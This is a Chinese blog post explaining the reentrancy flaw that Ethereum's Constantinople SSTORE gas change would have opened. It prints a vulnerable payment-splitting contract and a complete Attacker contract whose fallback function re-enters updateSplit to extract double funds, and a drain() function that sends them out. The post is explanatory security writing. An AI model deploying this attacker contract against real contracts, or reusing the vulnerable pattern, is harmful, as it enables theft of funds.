风轻云淡

Tuesday, Jan 22, 2019| Tags: ethereum

ethereum官方在1月16日发布了一个紧急修复版本, 需要覆盖掉之前的特殊版本v1.8.20 这也就意味着君士坦丁堡版本的硬分叉失败了。 下面我们来看看是什么bug导致此次升级失败。

回顾

以太坊在18年的12月11号的时候释放了一个特殊的版本(v1.8.20)这个版本准备在主网高度为7080000时进行一次硬分叉,也即是君士坦丁堡版本, 这个版本做了许多改变也包含了一些新的EIPs提案,其中一个导致重大bug提案就是修改SSTORE指令花费的gas数量。由之前的2000Gas减少到200Gas。 下面我们详细说一说为什么这么一个改变会导致出现重大问题。

必要知识

  • 回退函数 在说明这个bug时, 我们先需要知道以太坊智能合约的fallback函数(回退函数), 回退函数是合约里的特殊函数,没有名字,不能有参数,没有返回值。类似于下面这个样子。 ```js pragma solidity ^0.4.0;

contract SimpleFallback{ function() payable{ //do something } }

这个函数只有在调用智能合约函数不存在时, 或者想此合约进行以太坊转账时没有传递data数据时会调用此函数。 因为之前以太坊出现过DAO时间, 当时一个重要的原因就是因为向合约转换转账时会调用fallback函数引发重大问题, 所以以太坊对此函数做出了一个重大限制就是此函数最大只能花费2300gas,按目前以太坊的花费表来看2300gas也就只能触发一个日志记录。 并不能做一些特别大的事情。 但是君士坦丁堡版本把MMSTORE指令消耗的Gas修改之后, 这问题就不一样了。

- SSTORE指令
    这个是以太坊的一个存储指令,SSTORE (key   value)  
 其实质就是将数据保存到硬盘上。 之前这个指令的最小花费也要2000gas以上。 也就是说一个fallback函数基本上连一次SSTORE指令都执行不成功。


我们先看一个智能合约:
```js
pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));

    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100);
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

这个合约PaymentSharer功能很简单,就是说我们把以太币存入PaymentSharer中, 按百分比来把存入的以太币分给两个地址。 updateSplit函数就是设置每个地址取出的百分比。 splitFunds函数就是把存入的以太币按百分比分给两个地址, 一个分到depo * splits[id] / 100, 另一个就分到depo * (100 - splits[id]) / 100。 试想一下, 如果在执行完a.transfer(depo * splits[id] / 100);我们人为修改了splits[id]的值是不是就会出现b获得的金额不在是正确的。本来以太坊的虚拟机执行是串行化的。 没有并发问题, 也就是说在执行splitFunds的a.transfer(depo * splits[id] / 100);和b.transfer(depo * (100 - splits[id]) / 100);时splitFunds[i]值是不会发生变化的。但是之前我们说到如果a是一个合约地址, 当向合约地址进行以太币转账时是会调用合约地址的回退函数的, 如果在回退函数中, 我们再次调用此合约的updateSplit函数更新了splits[i]的值, 是不是实现了重放攻击? 所以我们看下面一个合约代码:

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    address x = victim;
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        // 如果对这一句不理解的话 这里翻译一下
        // 其实就是调用合约地址为x gaslimit为10000 发送的data为0xc3b18fb600000000000000000000000000000000000000000000000000000000
        // data的c3b18fb6就是x合约的updateSplit(uint,uint)的sha3运算值 两个函数入参为(0, 0)
        // 类似于执行x.updateSplit(0, 0)
        // 更改了splits[id]值
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }    
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

下面我们来梳理一下调用流程:

  1. 用户A调用Attacker.attack方法, 在attack方法方法中先调用PaymentSharer.updateSplit(0, 100)更新splits[id]值为100.

  2. 接着调用PaymentSharer.splitFunds函数, 在splitFunds函数中执行a.transfer(depo * splits[id] / 100); 时, 此时splits[id]为100 所以Attacker合约账户收到的depo个以太币。

  3. 同时在调用Attacker的回退函数, 在回退函数中又调用PaymentSharer.updateSplit(0, 0)更新splits[id]值为0,

  4. 接着执行b.transfer(depo * (100 - splits[id]) / 100); 所以普通账户b接收到的以太币也是depo。 这样就凭空多提取了depo以太币。

总结

上述就是整个问题的原因, 总结起来就是在类似进行事务操作时, 出现了漏洞导致整个转账过程不再是事务性的。所以如果我们的合约中有修改账户的余额这样的操作一定要谨慎小心。多加考虑。

参考链接: